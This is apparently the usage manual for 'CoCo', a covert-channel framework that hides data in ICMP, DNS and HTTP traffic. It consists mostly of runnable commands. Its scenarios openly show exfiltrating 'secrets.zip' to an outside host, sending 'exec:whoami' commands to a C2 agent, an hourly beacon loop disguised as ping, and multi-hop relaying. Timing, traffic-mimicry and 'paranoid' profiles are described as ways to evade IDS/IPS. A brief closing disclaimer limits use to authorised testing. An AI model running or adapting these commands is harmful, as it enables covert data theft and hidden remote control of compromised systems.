Version: 0.3.0
Last Updated: November 24, 2025
Complete guide for using CoCo covert channel framework with advanced ICMP encoding modes, DNS, HTTP transports, and enhanced evasion techniques.
# Terminal 1 (Listener)
sudo coco listen --timeout 30
# Terminal 2 (Sender)
sudo coco send --target 127.0.0.1 --message "Hello CoCo"
# With advanced ICMP encoding (v0.3.0+)
sudo coco send --target 127.0.0.1 --message "Data" --icmp-mode timestamp
sudo coco send --target 127.0.0.1 --file data.txt --icmp-mode ip_options# Send via DNS subdomain encoding
sudo coco send --mode dns --target example.com --message "Secret" --dns-mode subdomain
# Send via TXT records
sudo coco send --mode dns --target example.com --file data.txt --dns-mode txt_record# Send via HTTP headers
sudo coco send --mode http --target https://example.com --message "Data" --http-mode header
# Send via POST requests
sudo coco send --mode http --target https://example.com --file report.pdf --http-mode post# Round-robin across ICMP and DNS
sudo coco send --mode hybrid --target example.com --message "Multi-channel"
# Fastest channel selection
sudo coco send --mode hybrid --hybrid-strategy fastest --hybrid-channels icmp dns http --message "Speed"
# Weighted distribution (aggressive profile)
sudo coco send --mode hybrid --hybrid-strategy weighted --config config/aggressive.yaml --file data.binSend a message (ICMP):
sudo coco send --target 192.168.1.100 --message "Hello World"Receive messages:
sudo coco listen --timeout 60With advanced ICMP encoding (v0.3.0+):
# High-capacity timestamp mode (fastest)
sudo coco send --target 192.168.1.100 --message "Data" --icmp-mode timestamp
# Maximum stealth checksum mode (slowest)
sudo coco send --target 192.168.1.100 --message "Secret" --icmp-mode checksum
# Balanced IP options mode
sudo coco send --target 192.168.1.100 --message "Info" --icmp-mode ip_optionsSend a file:
sudo coco send --target 192.168.1.100 --file document.pdfReceive to file:
sudo coco listen --output received.pdf --timeout 120With ICMP mode selection (v0.3.0+):
# Fast file transfer (IP Options: 4.5 KB/s)
sudo coco send --target 192.168.1.100 --file report.pdf --icmp-mode ip_options
# Bulk transfer (Timestamp: 3.7 KB/s, 12 bytes/packet)
sudo coco send --target 192.168.1.100 --file archive.tar.gz --icmp-mode timestamp
# Stealth file transfer (TTL encoding)
sudo coco send --target 192.168.1.100 --file config.json --icmp-mode ttlsudo coco send --target <IP/DOMAIN/URL> [OPTIONS]Options:
--target TEXT- Target IP/domain/URL (required)--mode MODE- Transport: icmp, dns, http, hybrid (default: icmp)--message TEXT- Message to send--file PATH- File to send--encrypt / --no-encrypt- Enable/disable encryption (default: enabled)--profile PROFILE- Evasion profile (default: normal)--icmp-mode MODE- ICMP encoding: timestamp, checksum, ttl, size, type_code, ip_options, fragmentation (default: timestamp)--dns-mode MODE- DNS encoding: subdomain, txt_record, a_record (default: subdomain)--http-mode MODE- HTTP encoding: header, cookie, user_agent, post (default: header)--hybrid-strategy STRATEGY- Hybrid load balancing: round_robin, random, weighted, fastest, most_reliable (default: round_robin)--hybrid-channels CHANNEL- Hybrid channels (can specify multiple): icmp, dns, http--timing-strategy STRATEGY- Timing evasion: fixed, uniform, exponential, normal, poisson, pareto, adaptive (default: exponential)--traffic-pattern PATTERN- Traffic mimicry: icmp_ping, dns_query, http_browsing, ntp_sync, etc. (default: none)
Examples:
# ICMP: Simple message (default timestamp mode)
sudo coco send --target 10.0.0.50 --message "Status update"
# ICMP: High-stealth TTL encoding
sudo coco send --target 10.0.0.50 --message "Secret" --icmp-mode ttl
# ICMP: Fast IP options mode
sudo coco send --target 10.0.0.50 --file data.bin --icmp-mode ip_options
# ICMP: Maximum stealth checksum (WARNING: very slow, <20 bytes recommended)
sudo coco send --target 10.0.0.50 --message "Cmd" --icmp-mode checksum
# ICMP: Fragmentation encoding
sudo coco send --target 10.0.0.50 --file config.yaml --icmp-mode fragmentation
# ICMP: Size encoding with timing evasion
sudo coco send --target 10.0.0.50 --message "Data" --icmp-mode size --timing-strategy exponential
# ICMP: Type/Code encoding with traffic mimicry
sudo coco send --target 10.0.0.50 --message "Info" --icmp-mode type_code --traffic-pattern icmp_ping
# DNS: Subdomain encoding
sudo coco send --mode dns --target example.com --message "Secret" --dns-mode subdomain
# DNS: TXT record mode
sudo coco send --mode dns --target example.com --file data.txt --dns-mode txt_record
# HTTP: Header encoding
sudo coco send --mode http --target https://example.com/api --message "Data" --http-mode header
# HTTP: Cookie encoding
sudo coco send --mode http --target https://example.com --file config.json --http-mode cookie
# HTTP: User-Agent encoding
sudo coco send --mode http --target https://example.com --message "Info" --http-mode user_agent
# HTTP: POST data
sudo coco send --mode http --target https://example.com/upload --file report.pdf --http-mode post
# Hybrid: Round-robin across ICMP and DNS
sudo coco send --mode hybrid --target example.com --message "Multi-channel"
# Hybrid: Fastest channel selection
sudo coco send --mode hybrid --hybrid-strategy fastest --hybrid-channels icmp dns http --target example.com --message "Speed test"
# Hybrid: Weighted distribution with aggressive profile
sudo coco send --mode hybrid --hybrid-strategy weighted --profile aggressive --target example.com --file data.bin
# Hybrid: Most reliable channels
sudo coco send --mode hybrid --hybrid-strategy most_reliable --hybrid-channels dns http --target example.com --file critical.dat
# Maximum stealth with DNS
sudo coco send --mode dns --target cdn.example.com --message "Classified" --profile paranoid
# Fast transfer with HTTP
sudo coco send --mode http --target http://192.168.1.100 --file data.zip --profile aggressive --http-mode post
# Unencrypted (not recommended)
sudo coco send --target 192.168.1.100 --message "Plain text" --no-encryptsudo coco listen [OPTIONS]Options:
--mode MODE- Transport mode (default: icmp)--profile PROFILE- Evasion profile (default: normal)--timeout SECONDS- Timeout in seconds (0 = infinite)--output PATH- Save to file
Examples:
# Listen for 30 seconds
sudo coco listen --timeout 30
# Save received data
sudo coco listen --output data.txt --timeout 60
# Continuous listening
sudo coco listen --timeout 0
# Stealth mode listener
sudo coco listen --profile stealth --timeout 300
# Save binary file
sudo coco listen --output archive.tar.gz --timeout 180coco session <subcommand> [ARGS]Subcommands:
list- List all active sessionsconnect <id>- Connect to sessionkill <id>- Terminate session
Examples:
# View all sessions
coco session list
# Connect to specific session
coco session connect abc123def456
# Terminate session
coco session kill abc123def456coco config <subcommand> [ARGS]Manage profiles and settings.
CoCo supports 7 distinct ICMP encoding modes with different performance and stealth characteristics.
| Mode | Capacity | Throughput | Stealth | Best For |
|---|---|---|---|---|
| timestamp | 12 B/pkt | 3.7 KB/s | ⭐⭐⭐⭐ | Bulk transfers, fast operations |
| ip_options | 4 B/pkt | 4.5 KB/s | ⭐⭐ | Balanced speed/capacity |
| fragmentation | 2 B/pkt | 2.9 KB/s | ⭐⭐ | Medium files |
| checksum | 1.5 B/pkt | 0.001 KB/s | ⭐⭐⭐⭐⭐ | Tiny commands (<20 bytes) |
| ttl | 0.5 B/pkt | 0.1 KB/s | ⭐⭐⭐⭐ | Stealth-first operations |
| size | 0.5 B/pkt | 0.4 KB/s | ⭐⭐⭐ | Balanced stealth/speed |
| type_code | 0.5 B/pkt | 0.6 KB/s | ⭐⭐⭐ | Moderate stealth |
Best for: General use, bulk transfers
Capacity: 12 bytes per packet (highest)
Speed: 3.7 KB/s encode, 75.2 KB/s decode
Stealth: ⭐⭐⭐⭐ (legitimate ICMP timestamp packets)
# Fast file transfer
sudo coco send --target 10.0.0.50 --file data.zip --icmp-mode timestamp
# Bulk data with timing evasion
sudo coco send --target 10.0.0.50 --file backup.tar.gz --icmp-mode timestamp --timing-strategy exponentialBest for: High-performance operations
Capacity: 4 bytes per packet
Speed: 4.5 KB/s encode, 38.1 KB/s decode (fastest)
Stealth: ⭐⭐ (unusual IP options may trigger alerts)
# Maximum throughput
sudo coco send --target 10.0.0.50 --file report.pdf --icmp-mode ip_optionsBest for: Medium-sized files
Capacity: 2 bytes per packet
Speed: 2.9 KB/s encode, 28.6 KB/s decode
Stealth: ⭐⭐ (fragmentation patterns detectable)
# Medium file transfer
sudo coco send --target 10.0.0.50 --file config.json --icmp-mode fragmentationBest for: Stealth operations
Capacity: 0.5 bytes per packet (codebook)
Speed: 0.1 KB/s encode, 8.3 KB/s decode
Stealth: ⭐⭐⭐⭐ (TTL variations appear natural)
# High-stealth transfer
sudo coco send --target 10.0.0.50 --message "Classified" --icmp-mode ttl --profile stealthBest for: Balanced operations
Capacity: 0.5 bytes per packet (codebook)
Speed: 0.4 KB/s encode, 8.7 KB/s decode
Stealth: ⭐⭐⭐ (varying packet sizes)
# Balanced transfer
sudo coco send --target 10.0.0.50 --file data.txt --icmp-mode sizeBest for: Moderate stealth
Capacity: 0.5 bytes per packet (codebook)
Speed: 0.6 KB/s encode, 6.9 KB/s decode
Stealth: ⭐⭐⭐ (multiple ICMP types)
# Moderate stealth
sudo coco send --target 10.0.0.50 --message "Update" --icmp-mode type_codeBest for: Extremely sensitive tiny commands only
Capacity: 1.5 bytes per packet (lossy)
Speed: 0.001 KB/s (~1-2 seconds per packet)
Stealth: ⭐⭐⭐⭐⭐ (maximum stealth)
WARNING: Checksum mode is extremely slow and lossy. Only use for critical commands <20 bytes where maximum stealth is required.
# Maximum stealth, tiny data only
sudo coco send --target 10.0.0.50 --message "GO" --icmp-mode checksum
# DO NOT use checksum for files or large data!For 100 bytes of data:
- Fastest: IP Options (21ms encode, 25 packets)
- High capacity: Timestamp (26ms encode, 42 packets)
- Balanced: Fragmentation (33ms encode, 50 packets)
- Stealth: TTL (717ms encode, 200 packets)
- Maximum stealth: Checksum (~30 seconds encode, 15 packets)
⚠️
See docs/PERFORMANCE.md for detailed benchmarks.
Control packet timing to evade detection and mimic legitimate traffic.
Realistic network timing with exponential distribution.
sudo coco send --target 10.0.0.50 --file data.bin --timing-strategy exponentialConsistent timing (predictable, not recommended for stealth).
sudo coco send --target 10.0.0.50 --message "Test" --timing-strategy fixedEvenly distributed random delays.
sudo coco send --target 10.0.0.50 --file data.txt --timing-strategy uniformBell curve distribution, mimics human timing.
sudo coco send --target 10.0.0.50 --message "Data" --timing-strategy normalRandom event timing, good for low-rate operations.
sudo coco send --target 10.0.0.50 --message "Beacon" --timing-strategy poissonHeavy-tailed distribution, occasional long delays.
sudo coco send --target 10.0.0.50 --file report.pdf --timing-strategy paretoSelf-adjusting based on network conditions (advanced).
sudo coco send --target 10.0.0.50 --file data.bin --timing-strategy adaptiveMimic legitimate network traffic to blend in.
# Mimic ping behavior
sudo coco send --target 10.0.0.50 --message "Data" --traffic-pattern icmp_ping
# Mimic traceroute
sudo coco send --target 10.0.0.50 --file data.txt --traffic-pattern icmp_traceroute# Mimic DNS query
sudo coco send --mode dns --target example.com --message "Query" --traffic-pattern dns_query
# Mimic recursive DNS
sudo coco send --mode dns --target example.com --file data.bin --traffic-pattern dns_recursive
# Mimic background DNS
sudo coco send --mode dns --target example.com --message "Update" --traffic-pattern dns_background# Mimic web browsing
sudo coco send --mode http --target https://example.com --file page.html --traffic-pattern http_browsing
# Mimic API calls
sudo coco send --mode http --target https://api.example.com --message "Request" --traffic-pattern http_api# Mimic NTP sync
sudo coco send --target 10.0.0.50 --message "Time" --traffic-pattern ntp_syncMaximum stealth operation:
sudo coco send --target 10.0.0.50 \
--file sensitive.doc \
--icmp-mode ttl \
--timing-strategy exponential \
--traffic-pattern icmp_ping \
--profile stealthBalanced stealth and speed:
sudo coco send --target 10.0.0.50 \
--file report.pdf \
--icmp-mode ip_options \
--timing-strategy normal \
--traffic-pattern icmp_ping \
--profile normalFast bulk transfer:
sudo coco send --target 10.0.0.50 \
--file archive.tar.gz \
--icmp-mode timestamp \
--timing-strategy fixed \
--profile aggressiveChoose profile based on operational requirements:
High stealth, slower transmission
- Longer delays between packets
- Smaller packet sizes
- Randomized timing patterns
- Use for: High-security environments, IDS/IPS evasion
sudo coco send --target 192.168.1.100 --message "Data" --profile stealthBalanced stealth and speed
- Moderate delays
- Standard packet sizes
- Reasonable timing variance
- Use for: General operations, testing
sudo coco send --target 192.168.1.100 --message "Data"Low stealth, fastest transmission
- Minimal delays
- Larger packets
- Faster throughput
- Use for: Trusted networks, bulk transfers
sudo coco send --target 192.168.1.100 --file large.bin --profile aggressiveMaximum stealth, slowest transmission
- Maximum delay randomization
- Minimal packet sizes
- Advanced timing obfuscation
- Use for: Extreme evasion scenarios
sudo coco send --target 192.168.1.100 --message "Critical" --profile paranoidCoCo uses authenticated encryption by default.
- ChaCha20-Poly1305 (default) - Fast, secure
- AES-256-GCM - Hardware-accelerated
- Algorithm: PBKDF2HMAC with SHA-256
- Iterations: 100,000 (configurable)
- Salt: Random per session
sudo coco send --target 192.168.1.100 --message "Plain" --no-encryptWarning: Only use for testing. Transmissions are visible in network traffic.
Test functionality on loopback interface.
Terminal 1 (Listener):
sudo coco listen --timeout 30 --output test.txtTerminal 2 (Sender):
sudo coco send --target 127.0.0.1 --message "Local test successful"With advanced modes (v0.3.0+):
# Test high-speed mode
sudo coco send --target 127.0.0.1 --file test.bin --icmp-mode ip_options
# Test stealth mode
sudo coco send --target 127.0.0.1 --message "Stealth test" --icmp-mode ttl --timing-strategy exponentialTransfer file from remote system.
Receiving end:
sudo coco listen --output secrets.zip --timeout 300 --profile stealthSending end (v0.3.0+ with optimized mode):
# Fast exfiltration (IP Options: 4.5 KB/s)
sudo coco send --target 203.0.113.50 --file secrets.zip --icmp-mode ip_options --profile normal
# Stealth exfiltration (TTL encoding)
sudo coco send --target 203.0.113.50 --file secrets.zip --icmp-mode ttl --profile stealth --timing-strategy exponentialSend commands stealthily.
Sender (C2):
# Maximum stealth for tiny commands
sudo coco send --target 10.0.0.100 --message "exec:whoami" --icmp-mode ttl --profile paranoid --timing-strategy pareto
# With traffic mimicry
sudo coco send --target 10.0.0.100 --message "exec:id" --icmp-mode type_code --traffic-pattern icmp_ping --profile stealthReceiver (Agent):
sudo coco listen --timeout 0 --profile paranoidRoute through intermediate system.
Step 1: System A → System B
sudo coco send --target 192.168.1.50 --file data.enc --icmp-mode fragmentationStep 2: System B → System C (maximum stealth)
sudo coco send --target 10.0.0.100 --file data.enc --icmp-mode ttl --profile stealth --timing-strategy exponentialRegular status updates with traffic mimicry.
Beacon script (v0.3.0+):
#!/bin/bash
while true; do
STATUS=$(uptime)
# Mimic legitimate ping behavior
sudo coco send --target 203.0.113.10 \
--message "$STATUS" \
--icmp-mode type_code \
--traffic-pattern icmp_ping \
--timing-strategy exponential \
--profile stealth
sleep 3600 # Every hour
doneTransfer large file with aggressive profile.
Receiver:
sudo coco listen --output database.sql --timeout 600 --profile aggressiveSender (v0.3.0+ with high-capacity mode):
# Fastest throughput (Timestamp: 12 B/pkt, 3.7 KB/s)
sudo coco send --target 192.168.1.200 --file database.sql --icmp-mode timestamp --profile aggressive
# Alternative: IP Options (4.5 KB/s encode speed)
sudo coco send --target 192.168.1.200 --file database.sql --icmp-mode ip_options --profile aggressiveSync configuration files securely with mode selection.
Push config (fast):
sudo coco send --target 10.0.0.50 --file /etc/app/config.yaml --icmp-mode ip_options --encryptPull config (stealth):
sudo coco listen --output /etc/app/config.yaml --timeout 60 --encryptUse multiple transports simultaneously for reliability and speed.
# Fastest channel auto-selection
sudo coco send --mode hybrid --hybrid-strategy fastest \
--hybrid-channels icmp dns http \
--target example.com --file important.dat
# Weighted distribution for redundancy
sudo coco send --mode hybrid --hybrid-strategy weighted \
--profile aggressive \
--target 10.0.0.50 --file backup.tar.gz
# Most reliable channels (fallback to working transport)
sudo coco send --mode hybrid --hybrid-strategy most_reliable \
--hybrid-channels dns http \
--target cdn.example.com --message "Critical alert"
# Round-robin for load balancing
sudo coco send --mode hybrid --hybrid-strategy round_robin \
--target example.com --file data.binCombine all evasion techniques for extreme stealth.
# Maximum stealth: TTL encoding + exponential timing + traffic mimicry
sudo coco send --target 10.0.0.100 \
--file classified.pdf \
--icmp-mode ttl \
--timing-strategy exponential \
--traffic-pattern icmp_ping \
--profile paranoid \
--encryptTest different modes to find optimal for your network.
# Test throughput of each mode
for mode in timestamp ip_options fragmentation ttl size type_code; do
echo "Testing $mode mode..."
time sudo coco send --target 127.0.0.1 --file test_1kb.bin --icmp-mode $mode
done
# Results will show which mode works best for your environmentSpecify custom config file:
sudo coco --config ~/custom.yaml send --target 192.168.1.100 --message "Test"Enable verbose logging:
sudo coco --debug send --target 192.168.1.100 --message "Debug test"sudo coco --debug --config custom.yaml send \
--target 10.0.0.100 \
--file sensitive.doc \
--profile paranoid \
--encryptProblem: Cannot create raw sockets
Solution: Run with sudo or as administrator
Problem: Listener receives nothing
Solutions:
- Check firewall rules (allow ICMP)
- Verify target reachability:
ping <target> - Increase timeout value
- Check network path allows ICMP
Problem: Operation times out
Solutions:
- Increase
--timeoutvalue - Check network connectivity
- Verify no ICMP blocking
Problem: Decryption fails
Solutions:
- Ensure both ends use same encryption settings
- Verify shared key/password
- Check for data corruption
Problem: Unreliable transmission
Solutions:
- Use
stealthornormalprofile - Check network quality
- Reduce packet size in config
- ✓ Always use encryption in production
- ✓ Use strong passphrases for key derivation
- ✓ Rotate session keys regularly
- ✓ Monitor for detection/blocking
- ✓ Test locally before remote deployment
- ✓ Start with
normalprofile, adjust as needed - ✓ Use appropriate timeout values
- ✓ Verify received file integrity
- ✓ Choose ICMP mode based on requirements (see Performance Tips)
- ✓ Use
stealthorparanoidprofiles in monitored environments - ✓ Combine TTL/Type-Code modes with timing strategies
- ✓ Enable traffic mimicry patterns to blend with legitimate traffic
- ✓ Avoid bursts - use exponential or Pareto timing
- ✓ Limit transmission size and frequency
- ✓ Never use checksum mode for files (extremely slow)
- ✓ Bulk files (>1MB): Use timestamp or ip_options mode
- ✓ Stealth operations: Use ttl or type_code mode
- ✓ Small commands (<100 bytes): Use any mode except checksum
- ✓ Tiny critical commands (<20 bytes, maximum stealth): Checksum mode only
- ✓ Balanced: Use ip_options or fragmentation mode
- ✓ Test first: Compare modes on your network with Scenario 10
- Bulk transfers (>1MB): Use
timestampmode (12 B/pkt) orip_options(4.5 KB/s) withaggressiveprofile - Stealth operations: Use
ttlmode (⭐⭐⭐⭐) withstealthprofile andexponentialtiming - Balanced: Use
ip_optionsorfragmentationmode withnormalprofile - File transfers: Compress before sending, use high-capacity modes
- Long operations: Set realistic timeouts based on mode speed
- Local testing: Use loopback (127.0.0.1), test different modes
- Maximum stealth: TTL mode + exponential timing + icmp_ping pattern + paranoid profile
- Maximum speed: IP Options mode + aggressive profile + fixed timing
- IP Options: 4.5 KB/s (fastest encode, 25 packets)
- Timestamp: 3.7 KB/s (highest capacity, 42 packets)
- Fragmentation: 2.9 KB/s (50 packets)
- Type/Code: 0.6 KB/s (200 packets)
- Size: 0.4 KB/s (200 packets)
- TTL: 0.1 KB/s (stealthiest, 200 packets)
- Checksum: 0.001 KB/s
⚠️ (only for <20 bytes)
# General help
coco --help
# Command-specific help
coco send --help
coco listen --help
coco session --help
# Version information
coco --version
# Debug information
coco --debug <command>For comprehensive reference, see man page:
man coco~/.coco/sessions- Session storageconfig/default.yaml- Default profileconfig/stealth.yaml- Stealth profileconfig/aggressive.yaml- Aggressive profileconfig/paranoid.yaml- Paranoid profile (if configured)
CoCo is for authorized security testing and research only. Unauthorized use may violate laws and regulations. Always obtain proper authorization before deployment.